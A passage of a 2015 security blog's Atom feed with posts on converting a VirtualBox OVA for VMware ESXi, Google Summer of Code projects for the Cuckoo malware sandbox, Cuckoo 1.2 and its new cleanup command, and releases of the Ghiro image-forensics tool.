</content><category term="Blog"></category><category term="cuckoo"></category><category term="GSOC2015"></category></entry><entry><title>This OVF package requires unsupported hardware</title><link href="https://jekil.sexy/blog/2015/this-ovf-package-requires-unsupported-hardware.html" rel="alternate"></link><published>2015-03-15T13:47:00+00:00</published><updated>2015-03-15T13:47:00+00:00</updated><author><name>jekil</name></author><id>tag:jekil.sexy,2015-03-15:/blog/2015/this-ovf-package-requires-unsupported-hardware.html</id><summary type="html">&lt;p&gt;I was trying to import a virtual image in &lt;strong&gt;&lt;span class="caps"&gt;OVA&lt;/span&gt;&lt;/strong&gt; format inside a Vmware
&lt;strong&gt;ESXi&lt;/strong&gt; (or
&lt;a class="reference external" href="http://www.vmware.com/products/vsphere-hypervisor"&gt;vSphere&amp;nbsp;Hypervisor&lt;/a&gt;
as it is dubbed today) when I stumbled in this&amp;nbsp;error:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
This OVF package requires unsupported hardware.
Details: Line 33: Unsupported hardware family 'virtualbox-2.2'.
&lt;/pre&gt;
&lt;p&gt;As you che see in the following&amp;nbsp;image:&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://jekil.sexy/images/2015/03/20130530152156.jpg"&gt;&lt;img alt="20130530152156" class="img-center" src="https://jekil.sexy/images/2015/03/20130530152156.jpg" style="width: 300px; height: 155px;" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;This error is mentioning some kind of unsupported hardware by
vSphere&amp;nbsp;hypervisor, what&amp;nbsp;happened?&lt;/p&gt;
&lt;p&gt;It usually occur when an &lt;span class="caps"&gt;OVA&lt;/span&gt; appliance exported by
&lt;a class="reference external" href="https://www.virtualbox.org/"&gt;VirtualBox&lt;/a&gt; is imported in vSphere, the
default hardware format used by VirtualBox doesn&amp;#8217;t fit the vSphere&amp;nbsp;one,
so it is unable to understand how to …&lt;/p&gt;</summary><content type="html">&lt;p&gt;I was trying to import a virtual image in &lt;strong&gt;&lt;span class="caps"&gt;OVA&lt;/span&gt;&lt;/strong&gt; format inside a Vmware
&lt;strong&gt;ESXi&lt;/strong&gt; (or
&lt;a class="reference external" href="http://www.vmware.com/products/vsphere-hypervisor"&gt;vSphere&amp;nbsp;Hypervisor&lt;/a&gt;
as it is dubbed today) when I stumbled in this&amp;nbsp;error:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
This OVF package requires unsupported hardware.
Details: Line 33: Unsupported hardware family 'virtualbox-2.2'.
&lt;/pre&gt;
&lt;p&gt;As you che see in the following&amp;nbsp;image:&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://jekil.sexy/images/2015/03/20130530152156.jpg"&gt;&lt;img alt="20130530152156" class="img-center" src="https://jekil.sexy/images/2015/03/20130530152156.jpg" style="width: 300px; height: 155px;" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;This error is mentioning some kind of unsupported hardware by
vSphere&amp;nbsp;hypervisor, what&amp;nbsp;happened?&lt;/p&gt;
&lt;p&gt;It usually occur when an &lt;span class="caps"&gt;OVA&lt;/span&gt; appliance exported by
&lt;a class="reference external" href="https://www.virtualbox.org/"&gt;VirtualBox&lt;/a&gt; is imported in vSphere, the
default hardware format used by VirtualBox doesn&amp;#8217;t fit the vSphere&amp;nbsp;one,
so it is unable to understand how to import the&amp;nbsp;machine.&lt;/p&gt;
&lt;p&gt;To fix you should convert the &lt;span class="caps"&gt;OVA&lt;/span&gt; file in an &lt;strong&gt;&lt;span class="caps"&gt;OVF&lt;/span&gt;&lt;/strong&gt; file compatible
with vSphere, thus this post could be titled &amp;#8220;how to convert and &lt;span class="caps"&gt;OVA&lt;/span&gt; in
&lt;span class="caps"&gt;OVF&lt;/span&gt;&amp;#8221;&amp;nbsp;too.&lt;/p&gt;
&lt;p&gt;First of all download the free converter: &lt;a class="reference external" href="http://communities.vmware.com/community/vmtn/server/vsphere/automationtools/ovf"&gt;Vmware &lt;span class="caps"&gt;OFT&lt;/span&gt;
Tool&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Now you can convert the &lt;span class="caps"&gt;OVA&lt;/span&gt; in an &lt;span class="caps"&gt;OVF&lt;/span&gt; with the following&amp;nbsp;command:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="go"&gt;ovftool.exe --lax source.ova destination.ovf&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This command will create three files: a .&lt;span class="caps"&gt;MF&lt;/span&gt; file, an .&lt;span class="caps"&gt;OVF&lt;/span&gt; file and a
.&lt;span class="caps"&gt;VMDK&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;Open the .&lt;span class="caps"&gt;OVF&lt;/span&gt; file in a text editor and change all VirtualBox&amp;nbsp;hardware.&lt;/p&gt;
&lt;p&gt;Change&amp;nbsp;this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;vssd:VirtualSystemType&amp;gt;&lt;/span&gt;virtualbox-2.2&lt;span class="nt"&gt;&amp;lt;/vssd:VirtualSystemType&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;with:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;vssd:VirtualSystemType&amp;gt;&lt;/span&gt;vmx-07&lt;span class="nt"&gt;&amp;lt;/vssd:VirtualSystemType&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Change&amp;nbsp;this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;Item&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;rasd:Address&amp;gt;&lt;/span&gt;0&lt;span class="nt"&gt;&amp;lt;/rasd:Address&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;rasd:Caption&amp;gt;&lt;/span&gt;sataController0&lt;span class="nt"&gt;&amp;lt;/rasd:Caption&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;rasd:Description&amp;gt;&lt;/span&gt;SATA Controller&lt;span class="nt"&gt;&amp;lt;/rasd:Description&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;rasd:ElementName&amp;gt;&lt;/span&gt;sataController0&lt;span class="nt"&gt;&amp;lt;/rasd:ElementName&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;rasd:InstanceID&amp;gt;&lt;/span&gt;5&lt;span class="nt"&gt;&amp;lt;/rasd:InstanceID&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;rasd:ResourceSubType&amp;gt;&lt;/span&gt;AHCI&lt;span class="nt"&gt;&amp;lt;/rasd:ResourceSubType&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;rasd:ResourceType&amp;gt;&lt;/span&gt;20&lt;span class="nt"&gt;&amp;lt;/rasd:ResourceType&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/Item&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;with:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;Item&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;rasd:Address&amp;gt;&lt;/span&gt;0&lt;span class="nt"&gt;&amp;lt;/rasd:Address&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;rasd:Caption&amp;gt;&lt;/span&gt;SCSIController&lt;span class="nt"&gt;&amp;lt;/rasd:Caption&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;rasd:Description&amp;gt;&lt;/span&gt;SCSI Controller&lt;span class="nt"&gt;&amp;lt;/rasd:Description&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;rasd:ElementName&amp;gt;&lt;/span&gt;SCSIController&lt;span class="nt"&gt;&amp;lt;/rasd:ElementName&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;rasd:InstanceID&amp;gt;&lt;/span&gt;5&lt;span class="nt"&gt;&amp;lt;/rasd:InstanceID&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;rasd:ResourceSubType&amp;gt;&lt;/span&gt;lsilogic&lt;span class="nt"&gt;&amp;lt;/rasd:ResourceSubType&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;rasd:ResourceType&amp;gt;&lt;/span&gt;6&lt;span class="nt"&gt;&amp;lt;/rasd:ResourceType&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/Item&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Save and close. Now your edited file screwed the integrity check. To fix
it calculate the &lt;span class="caps"&gt;SHA1&lt;/span&gt; for the .&lt;span class="caps"&gt;OVF&lt;/span&gt; file (for example using &lt;em&gt;sha1sum&lt;/em&gt; or
&lt;em&gt;fciv.exe&lt;/em&gt; (&lt;a class="reference external" href="http://support.microsoft.com/kb/841290"&gt;download&lt;/a&gt;), open the .&lt;span class="caps"&gt;MF&lt;/span&gt;
file a substitute the present hash with the calculated&amp;nbsp;one.&lt;/p&gt;
&lt;p&gt;Now all should&amp;nbsp;work.&lt;/p&gt;
</content><category term="Blog"></category><category term="sysadmin"></category><category term="virtualbox"></category></entry><entry><title>Cuckoo Sandbox Summer of Code 2015</title><link href="https://jekil.sexy/blog/2015/cuckoo-sandbox-summer-of-code-2015.html" rel="alternate"></link><published>2015-03-10T01:35:00+00:00</published><updated>2015-03-10T01:35:00+00:00</updated><author><name>jekil</name></author><id>tag:jekil.sexy,2015-03-10:/blog/2015/cuckoo-sandbox-summer-of-code-2015.html</id><summary type="html">&lt;div class="line-block"&gt;
&lt;div class="line"&gt;This summer&amp;nbsp;the &lt;a class="reference external" href="http://cuckoosandbox.org/"&gt;Cuckoo Sandbox&lt;/a&gt; project
is participating the &lt;a class="reference external" href="https://www.google-melange.com/gsoc/homepage/google/gsoc2015"&gt;Google Summer of Code
2015,&lt;/a&gt;
thanks to a big effort of the &lt;a class="reference external" href="http://www.honeynet.org/gsoc"&gt;Honeynet
Project&lt;/a&gt;.&lt;/div&gt;
&lt;div class="line"&gt;This is a great opportunity for students who would like to work on
Cuckoo and get paid for it! This is a great challenge and an huge
opportunity to work on a real malware sandbox, write code and gain
valuable experience, and help improving the open source security tools
ecosystem.&lt;/div&gt;
&lt;div class="line"&gt;Almost all college and graduate students are eligible, we are
searching for problem solving people with strong development skills
who would like to learn about malware and …&lt;/div&gt;&lt;/div&gt;</summary><content type="html">&lt;div class="line-block"&gt;
&lt;div class="line"&gt;This summer&amp;nbsp;the &lt;a class="reference external" href="http://cuckoosandbox.org/"&gt;Cuckoo Sandbox&lt;/a&gt; project
is participating the &lt;a class="reference external" href="https://www.google-melange.com/gsoc/homepage/google/gsoc2015"&gt;Google Summer of Code
2015,&lt;/a&gt;
thanks to a big effort of the &lt;a class="reference external" href="http://www.honeynet.org/gsoc"&gt;Honeynet
Project&lt;/a&gt;.&lt;/div&gt;
&lt;div class="line"&gt;This is a great opportunity for students who would like to work on
Cuckoo and get paid for it! This is a great challenge and an huge
opportunity to work on a real malware sandbox, write code and gain
valuable experience, and help improving the open source security tools
ecosystem.&lt;/div&gt;
&lt;div class="line"&gt;Almost all college and graduate students are eligible, we are
searching for problem solving people with strong development skills
who would like to learn about malware and &lt;span class="caps"&gt;OS&lt;/span&gt; (Linux and Mac &lt;span class="caps"&gt;OS&lt;/span&gt; X)
internals.&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="cuckoo-projects"&gt;
&lt;h2&gt;Cuckoo&amp;nbsp;Projects&lt;/h2&gt;
&lt;p&gt;The proposed Cuckoo project are the following (taken from &lt;a class="reference external" href="https://honeynet.org/gsoc/ideas"&gt;Honeynet &lt;span class="caps"&gt;GSOC&lt;/span&gt;
ideas&lt;/a&gt;):&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;strong&gt;Project Name: Project 18 - Cuckoo Sandbox #1: Support for Linux
binaries&lt;/strong&gt;
Mentor: Alessandro Tanasi (&lt;span class="caps"&gt;IT&lt;/span&gt;)
Backup mentor: &lt;span class="caps"&gt;TBD&lt;/span&gt;
Skills required: Python, Linux internals, Django (optional)
Project type: Extend and improve existing library
Project goal: Improve Cuckoo Sandbox to support analysis of Linux
malware.
Description:&amp;nbsp;We would like to expand Cuckoo to support execution of
Linux malware. To develop this feature it is required to design and
write a custom python analyzer (a little engine with modules), that
will follow Cuckoo&amp;#8217;s existing win32 architecture to run the malware
inside a Linux virtual machine, instrument and record the malware
behavior then return the execution analysis information back to
Cuckoo&amp;#8217;s existing reporting&amp;nbsp;components.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Project Name: Project 19 - Cuckoo Sandbox #2: Support for Mac &lt;span class="caps"&gt;OS&lt;/span&gt;
binaries&lt;/strong&gt;
Mentor: Alessandro Tanasi (&lt;span class="caps"&gt;IT&lt;/span&gt;)
Backup mentor: &lt;span class="caps"&gt;TBD&lt;/span&gt;
Skills required: Python, Mac &lt;span class="caps"&gt;OS&lt;/span&gt; X internals, Django (optional)
Project type: Extend and improve existing library
Project goal: Improve Cuckoo Sandbox to support analysis of Mac &lt;span class="caps"&gt;OS&lt;/span&gt; X
malware.
Description:&amp;nbsp;We would like to expand Cuckoo to support execution of
Mac &lt;span class="caps"&gt;OS&lt;/span&gt; X malware. To develop this feature it is required to design
and write a custom python analyzer (a little engine with modules),
that will follow Cuckoo&amp;#8217;s existing win32 architecture to run the
malware inside a Mac &lt;span class="caps"&gt;OS&lt;/span&gt; X virtual machine, instrument and record the
malware behavior then return the execution analysis information back
to Cuckoo&amp;#8217;s existing reporting&amp;nbsp;components.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class="section" id="who-is-eligible"&gt;
&lt;h2&gt;Who is&amp;nbsp;eligible?&lt;/h2&gt;
&lt;p&gt;You have to meet the following &lt;strong&gt;requirements&lt;/strong&gt; to apply to a Cuckoo
&lt;span class="caps"&gt;GSOC&lt;/span&gt;&amp;nbsp;Project:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;You should be a&amp;nbsp;college or&amp;nbsp;graduate&amp;nbsp;students.&lt;/li&gt;
&lt;li&gt;You should not have a&amp;nbsp;job.&lt;/li&gt;
&lt;li&gt;Python knowledge is&amp;nbsp;required.&lt;/li&gt;
&lt;li&gt;Mac &lt;span class="caps"&gt;OS&lt;/span&gt; X or Linux internals knowledge is&amp;nbsp;required.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class="section" id="where-to-start"&gt;
&lt;h2&gt;Where to&amp;nbsp;&amp;nbsp;start?&lt;/h2&gt;
&lt;p&gt;First of all I would recommend to read, read and read again all the
pages&amp;nbsp;related to &lt;span class="caps"&gt;GSOC&lt;/span&gt; on Google &lt;span class="caps"&gt;GSOC&lt;/span&gt; website and Honeynet &lt;span class="caps"&gt;GSOC&lt;/span&gt;, it is
really mandatory to understand how a Google Summer of Code works, what
you are expected to do and what you can&amp;nbsp;expect.&lt;/p&gt;
&lt;p&gt;A fundamental&amp;nbsp;link is the &lt;a class="reference external" href="https://www.google-melange.com/gsoc/events/google/gsoc2015"&gt;&lt;span class="caps"&gt;GSOC&lt;/span&gt;
timeline&lt;/a&gt;
where all &lt;span class="caps"&gt;GSOC&lt;/span&gt; phases are explained with all the deadlines. For example
today we are in a phase where wannabe students talks with their mentors
to understand as much as they can about the technology and the&amp;nbsp;project.&lt;/p&gt;
&lt;p&gt;For example I would suggest&amp;nbsp;to:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Install and start to play with&amp;nbsp;Cuckoo.&lt;/li&gt;
&lt;li&gt;Read the documentation and the code to understand how it&amp;nbsp;works.&lt;/li&gt;
&lt;li&gt;Check the &lt;a class="reference external" href="https://github.com/cuckoobox/cuckoo"&gt;GitHub page&lt;/a&gt; to
understand how Cuckoo&amp;#8217;s development&amp;nbsp;works.&lt;/li&gt;
&lt;li&gt;Try to think about how to design the implementation of the project
you choose and start to learn&amp;nbsp;things.&lt;/li&gt;
&lt;li&gt;If you need some clarifications get in touch with me or other
Cuckoo&amp;#8217;s&amp;nbsp;developer.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class="section" id="how-to-apply"&gt;
&lt;h2&gt;How to&amp;nbsp;apply?&lt;/h2&gt;
&lt;p&gt;You should apply on Google &lt;span class="caps"&gt;GSOC&lt;/span&gt; page, applications are only accepted
&lt;strong&gt;from March 16 until March 27 at 19:00 &lt;span class="caps"&gt;UTC&lt;/span&gt;&lt;/strong&gt;, so pinpoint it on you&amp;nbsp;calendar.&lt;/p&gt;
&lt;p&gt;Application should be submitted using the &amp;#8220;Log in&amp;#8221; button in the
&amp;#8220;&lt;strong&gt;Student&lt;/strong&gt;&amp;#8221; area, &amp;nbsp;I suggest you to take your time to prepare&amp;nbsp;your&amp;nbsp;application.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="get-in-touch"&gt;
&lt;h2&gt;Get in&amp;nbsp;touch&lt;/h2&gt;
&lt;p&gt;It is encouraged to talk with your project mentors, for&amp;nbsp;example:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Join the&amp;nbsp;&lt;a class="reference external" href="https://public.honeynet.org/mailman/listinfo/gsoc"&gt;Honeynet &lt;span class="caps"&gt;GSOC&lt;/span&gt; mailing
list&lt;/a&gt;&amp;nbsp;and write
an email to present&amp;nbsp;yourself.&lt;/li&gt;
&lt;li&gt;Join the Honeynet &lt;span class="caps"&gt;GSOC&lt;/span&gt; &lt;span class="caps"&gt;IRC&lt;/span&gt; channel&amp;nbsp;&lt;strong&gt;#gsoc-honeynet&lt;/strong&gt;&amp;nbsp;on
&lt;strong&gt;irc.freenode.net&lt;/strong&gt; to about the &lt;span class="caps"&gt;GSOC&lt;/span&gt; project and understand how it
works. You can also get in touch with Cuckoo&amp;#8217;s mentors&amp;nbsp;here.&lt;/li&gt;
&lt;li&gt;Join the Cuckoo &lt;span class="caps"&gt;IRC&lt;/span&gt; channel&amp;nbsp;&lt;strong&gt;#cuckoosandbox&lt;/strong&gt;&amp;nbsp;&lt;span class="caps"&gt;IRC&lt;/span&gt; channel on
&lt;strong&gt;irc.freenode.net&lt;/strong&gt; to talk with Cuckoo&amp;#8217;s developers and talk about
the&amp;nbsp;project.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class="section" id="links-you-need"&gt;
&lt;h2&gt;Links you&amp;nbsp;need&lt;/h2&gt;
&lt;p&gt;A bunch of links, a starting point and must&amp;nbsp;read:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;a class="reference external" href="http://cuckoosandbox.org/"&gt;Cuckoo Sandbox&amp;nbsp;homepage&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="https://github.com/cuckoobox/cuckoo"&gt;Cuckoo GitHub&amp;nbsp;page&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="http://www.honeynet.org/gsoc"&gt;Honeynet &lt;span class="caps"&gt;GSOC&lt;/span&gt;&amp;nbsp;page&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="https://public.honeynet.org/mailman/listinfo/gsoc"&gt;Honeynet &lt;span class="caps"&gt;GSOC&lt;/span&gt; mailing&amp;nbsp;list&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Honeynet chat:&amp;nbsp;&lt;strong&gt;#gsoc-honeynet&lt;/strong&gt; &lt;span class="caps"&gt;IRC&lt;/span&gt; channel on
&lt;strong&gt;irc.freenode.net&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Cuckoo chat:&amp;nbsp;&lt;strong&gt;#cuckoosandbox&lt;/strong&gt;&amp;nbsp;&lt;span class="caps"&gt;IRC&lt;/span&gt; channel on &lt;strong&gt;irc.freenode.net&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="https://www.google-melange.com/gsoc/homepage/google/gsoc2015"&gt;Google Summer of Code 2015&amp;nbsp;homepage&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="https://www.google-melange.com/gsoc/events/google/gsoc2015"&gt;&lt;span class="caps"&gt;GSOC&lt;/span&gt;&amp;nbsp;timeline&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
</content><category term="Tools"></category><category term="cuckoo"></category><category term="GSOC"></category><category term="GSOC2015"></category></entry><entry><title>Cuckoo Sandbox 1.2 released</title><link href="https://jekil.sexy/blog/2015/cuckoo-sandbox-1-2-released.html" rel="alternate"></link><published>2015-03-05T01:32:00+00:00</published><updated>2015-03-05T01:32:00+00:00</updated><author><name>jekil</name></author><id>tag:jekil.sexy,2015-03-05:/blog/2015/cuckoo-sandbox-1-2-released.html</id><content type="html">&lt;p&gt;After a while we finally released &lt;a class="reference external" href="http://cuckoosandbox.org/"&gt;Cuckoo
Sandbox&lt;/a&gt;&amp;nbsp;1.2!&lt;/p&gt;
&lt;p&gt;It is one of the Cuckoo&amp;#8217;s release with the most impressive amount of new
features, just to mention a&amp;nbsp;few:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;XenServer machinery&amp;nbsp;support&lt;/li&gt;
&lt;li&gt;Physical machine support, to run analysis on bare&amp;nbsp;metal&lt;/li&gt;
&lt;li&gt;Comparative reporting, you can compare analysis in a fancy&amp;nbsp;way&lt;/li&gt;
&lt;li&gt;Improved visualization of network&amp;nbsp;data&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A complete list of feature is available in the &lt;a class="reference external" href="http://cuckoosandbox.org/2015-03-04-cuckoo-sandbox-12.html"&gt;announce
post&lt;/a&gt;, I
kindly suggest to have a look over&amp;nbsp;it.&lt;/p&gt;
</content><category term="Tools"></category><category term="cuckoo"></category></entry><entry><title>New Ghiro website</title><link href="https://jekil.sexy/blog/2015/new-ghiro-website.html" rel="alternate"></link><published>2015-03-04T00:18:00+00:00</published><updated>2015-03-04T00:18:00+00:00</updated><author><name>jekil</name></author><id>tag:jekil.sexy,2015-03-04:/blog/2015/new-ghiro-website.html</id><summary type="html">&lt;p&gt;It seems that the old &lt;a class="reference external" href="http://www.getghiro.org/"&gt;Ghiro website&lt;/a&gt; was
too hard for understand for people visiting&amp;nbsp;it.&lt;/p&gt;
&lt;p&gt;All we know people stops on websites few seconds, so &lt;strong&gt;contents&lt;/strong&gt; should
be delivered in an efficient way, with a &lt;strong&gt;simple&lt;/strong&gt;&amp;nbsp;layout and &amp;nbsp;short
web&amp;nbsp;page.&lt;/p&gt;
&lt;p&gt;After one year we read about people that barely were able to understand
what Ghiro is, if it is an automated digital forensic tool or a brand
new Photoshop clone. We read about people asking where they can download
it, how much it costs a license and so&amp;nbsp;on.&lt;/p&gt;
&lt;p&gt;So our &lt;a class="reference external" href="https://twitter.com/burloneM"&gt;burlone&lt;/a&gt;, Ghiro&amp;#8217;s design
engineer, put together …&lt;/p&gt;</summary><content type="html">&lt;p&gt;It seems that the old &lt;a class="reference external" href="http://www.getghiro.org/"&gt;Ghiro website&lt;/a&gt; was
too hard for understand for people visiting&amp;nbsp;it.&lt;/p&gt;
&lt;p&gt;All we know people stops on websites few seconds, so &lt;strong&gt;contents&lt;/strong&gt; should
be delivered in an efficient way, with a &lt;strong&gt;simple&lt;/strong&gt;&amp;nbsp;layout and &amp;nbsp;short
web&amp;nbsp;page.&lt;/p&gt;
&lt;p&gt;After one year we read about people that barely were able to understand
what Ghiro is, if it is an automated digital forensic tool or a brand
new Photoshop clone. We read about people asking where they can download
it, how much it costs a license and so&amp;nbsp;on.&lt;/p&gt;
&lt;p&gt;So our &lt;a class="reference external" href="https://twitter.com/burloneM"&gt;burlone&lt;/a&gt;, Ghiro&amp;#8217;s design
engineer, put together a brand new website, check it out it
at&amp;nbsp; &lt;a class="reference external" href="http://www.getghiro.org"&gt;http://www.getghiro.org&lt;/a&gt; and let us know if you like&amp;nbsp;it.&lt;/p&gt;
</content><category term="Tools"></category><category term="ghiro"></category></entry><entry><title>How to clean data in Cuckoo Sandbox</title><link href="https://jekil.sexy/blog/2015/how-to-clean-data-in-cuckoo-sandbox.html" rel="alternate"></link><published>2015-03-02T00:15:00+00:00</published><updated>2015-03-02T00:15:00+00:00</updated><author><name>jekil</name></author><id>tag:jekil.sexy,2015-03-02:/blog/2015/how-to-clean-data-in-cuckoo-sandbox.html</id><summary type="html">&lt;p&gt;Starting with &lt;a class="reference external" href="http://cuckoosandbox.org/"&gt;Cuckoo Sandbox&lt;/a&gt; 1.2, which
will be released soon, the old data cleanup tool will be deprecated in
favor of a new cleanup&amp;nbsp;method.&lt;/p&gt;
&lt;p&gt;The old clean tool, still available, it is the clean.sh script in the
tools directory. It is a bash script used to delete the data inside the
storage directory (malware samples and reports), logs directory and db
directory. The downside is&amp;nbsp;that if you are not using SQLite database but
&amp;nbsp;MySQL or PostgreSQL and if you enable the MongoDB reporting module to
store analysis results in MongoDB, clean.sh won&amp;#8217;t clean up …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Starting with &lt;a class="reference external" href="http://cuckoosandbox.org/"&gt;Cuckoo Sandbox&lt;/a&gt; 1.2, which
will be released soon, the old data cleanup tool will be deprecated in
favor of a new cleanup&amp;nbsp;method.&lt;/p&gt;
&lt;p&gt;The old clean tool, still available, it is the clean.sh script in the
tools directory. It is a bash script used to delete the data inside the
storage directory (malware samples and reports), logs directory and db
directory. The downside is&amp;nbsp;that if you are not using SQLite database but
&amp;nbsp;MySQL or PostgreSQL and if you enable the MongoDB reporting module to
store analysis results in MongoDB, clean.sh won&amp;#8217;t clean up that data,
leaving you in a dirty&amp;nbsp;situation.&lt;/p&gt;
&lt;p&gt;In Cuckoo 1.2 clean.sh has been deprecated and a new clean up method is
provided, using the &lt;em&gt;&amp;#8212;clean&lt;/em&gt; argument when calling&amp;nbsp;cuckoo.py:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt; python cuckoo.py --clean
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Running this command all the data will be deleted:&amp;nbsp;storage directory
(malware samples and reports), logs directory, data inside any database
configured and MongoDB data if the related reporting module is&amp;nbsp;enabled.&lt;/p&gt;
&lt;p&gt;Easy&amp;nbsp;peasy!&lt;/p&gt;
</content><category term="Tools"></category><category term="cuckoo"></category></entry><entry><title>Ghiro 0.2 released</title><link href="https://jekil.sexy/blog/2015/ghiro-0-2-released.html" rel="alternate"></link><published>2015-01-15T23:06:00+00:00</published><updated>2015-01-15T23:06:00+00:00</updated><author><name>jekil</name></author><id>tag:jekil.sexy,2015-01-15:/blog/2015/ghiro-0-2-released.html</id><summary type="html">&lt;p&gt;It took some time, but here we are, I am really happy to say: we
released &lt;strong&gt;Ghiro 0.2&lt;/strong&gt;! We continuously love to improve Ghiro&amp;#8217;s feature
and our codebase, I hope you like we now release and any kind of
feedback will be appreciated. It follows the official release&amp;nbsp;statement.&lt;/p&gt;
&lt;pre class="literal-block"&gt;
Ghiro 0.2 has been released!

Ghiro is an automated image forensics tool: sometimes forensic investigators
need to process digital images as evidence. Dealing with tons of images is
pretty easy, Ghiro is designed to scale to support gigs of images.
All tasks are totally automated, you have just …&lt;/pre&gt;</summary><content type="html">&lt;p&gt;It took some time, but here we are, I am really happy to say: we
released &lt;strong&gt;Ghiro 0.2&lt;/strong&gt;! We continuously love to improve Ghiro&amp;#8217;s feature
and our codebase, I hope you like we now release and any kind of
feedback will be appreciated. It follows the official release&amp;nbsp;statement.&lt;/p&gt;
&lt;pre class="literal-block"&gt;
Ghiro 0.2 has been released!

Ghiro is an automated image forensics tool: sometimes forensic investigators
need to process digital images as evidence. Dealing with tons of images is
pretty easy, Ghiro is designed to scale to support gigs of images.
All tasks are totally automated, you have just to upload you images and let
Ghiro does the work. Understandable reports, and great search capabilities
allows you to find a needle in a haystack. Ghiro is a multi user environment,
different permissions can be assigned to each user. Cases allow you to group
image analysis by topic, you can choose which user allow to see your case
with a permission schema.

It can be downloaded from http://getghiro.org  in both package and appliance
ready-for-use.

What’s new in Ghiro 0.2?

* Added case deletion, you can now delete a case.
* Added analysis deletion, you can now delete an analysis.
* Added favorited images.
* Added automatic update check and option to disable it.
* Added filter to show only completed analysis in task panel.
* Added an admin panel showing dependency status.
* Added image’s hex view page.
* Added PDF and HTML static report download.
* Added image’s strings extraction and important string highlight.
* Added requirements.txt for quick dependency setup with pip.
* Added JSON API to create cases and submit images.
* Added command to check for new releases via command line.
* Added search only inside cases, now you can specify in which case search.
* Added image’s tags, now you can tag an image.
* Added image’s comments, now you can comment an image.
* Added signatures count in Google Map and image thumbnails view.
* Added URL upload, now you can upload an image from an URL.
* Refactored image analyzer to be modular, rewritten all analysis features as
modular plugins.
* Fixed upload local folder feature, now unknown files are skipped.
* Fixed a bug when logging an activity containing UTF-8 chars.
* Updated Javascript libraries.
* Many little refactorings.
* Documentation update.
* Bug fixes.
&lt;/pre&gt;
